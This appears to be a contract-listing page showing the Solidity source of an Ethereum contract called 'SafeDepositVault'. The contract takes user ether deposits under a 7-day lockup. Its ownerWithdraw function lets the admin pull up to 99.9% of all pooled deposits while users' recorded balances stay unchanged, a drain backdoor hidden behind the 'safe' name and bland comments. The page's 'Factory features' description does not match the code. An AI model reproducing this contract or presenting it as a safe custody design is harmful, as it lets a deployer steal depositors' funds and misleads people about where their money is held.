Description:
Smart contract deployed on Ethereum with Factory features.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;
contract SafeDepositVault {
// The owner/admin of the contract
address public immutable admin;
// Lockup period for regular users (7 days)
uint256 public constant LOCKUP_PERIOD = 7 days;
// Owner withdrawal limit as a percentage (99.9% represented in basis points)
uint256 public constant OWNER_WITHDRAW_LIMIT = 9990; // 99.9%
uint256 public constant BASE = 10000; // Base for percentage calculations (100%)
// Deposit information for each user: balance and unlock time
struct DepositInfo {
uint256 balance;
uint256 unlockTime;
}
// Mapping from user address to their deposit information
mapping(address => DepositInfo) private _vault;
// Events
event FundsDeposited(address indexed user, uint256 amount);
event FundsWithdrawn(address indexed user, uint256 amount);
event OwnerWithdrawal(address indexed admin, uint256 amount);
// Custom errors for efficient gas usage
error ZeroAmount();
error InsufficientFunds();
error LockupActive();
error AdminOnly();
error OwnerWithdrawalLimitExceeded();
// Contract constructor sets the admin to the deployer address
constructor() {
admin = msg.sender;
}
/// @notice Deposit Ether into the contract and set lockup period
function deposit() external payable {
if (msg.value == 0) revert ZeroAmount();
_vault[msg.sender].balance += msg.value;
_vault[msg.sender].unlockTime = block.timestamp + LOCKUP_PERIOD;
emit FundsDeposited(msg.sender, msg.value);
}
/// @notice Withdraw Ether by regular users after lockup expires
/// @param amount The amount to withdraw
function withdraw(uint256 amount) external {
DepositInfo storage info = _vault[msg.sender];
if (amount == 0 || amount > info.balance) revert InsufficientFunds();
if (msg.sender != admin) {
// Regular users can only withdraw after the lockup period ends
if (block.timestamp < info.unlockTime) revert LockupActive();
} else {
// Admin should use ownerWithdraw function instead
revert AdminOnly();
}
info.balance -= amount;
payable(msg.sender).transfer(amount);
emit FundsWithdrawn(msg.sender, amount);
}
/// @notice Owner/admin can withdraw from the entire contract balance up to 99.9%
/// @param amount The amount to withdraw
function ownerWithdraw(uint256 amount) external {
if (msg.sender != admin) revert AdminOnly();
if (amount == 0) revert ZeroAmount();
uint256 contractBal = address(this).balance;
uint256 maxAllowed = (contractBal * OWNER_WITHDRAW_LIMIT) / BASE;
if (amount > maxAllowed) revert OwnerWithdrawalLimitExceeded();
payable(admin).transfer(amount);
emit OwnerWithdrawal(admin, amount);
}
/// @notice Returns the deposited balance of a specific user
/// @param user The address of the user
/// @return The balance deposited by the user
function getDeposit(address user) external view returns (uint256) {
return _vault[user].balance;
}
/// @notice Returns the lockup unlock time of a specific user
/// @param user The address of the user
/// @return The timestamp when the lockup period ends
function getUnlockTime(address user) external view returns (uint256) {
return _vault[user].unlockTime;
}
/// @notice Returns the total balance held in the contract
/// @return The contract's Ether balance
function getContractBalance() external view returns (uint256) {
return address(this).balance;
}
}
Submitted on: 2025-09-18 11:09:33
Comments
Log in to comment.
No comments yet.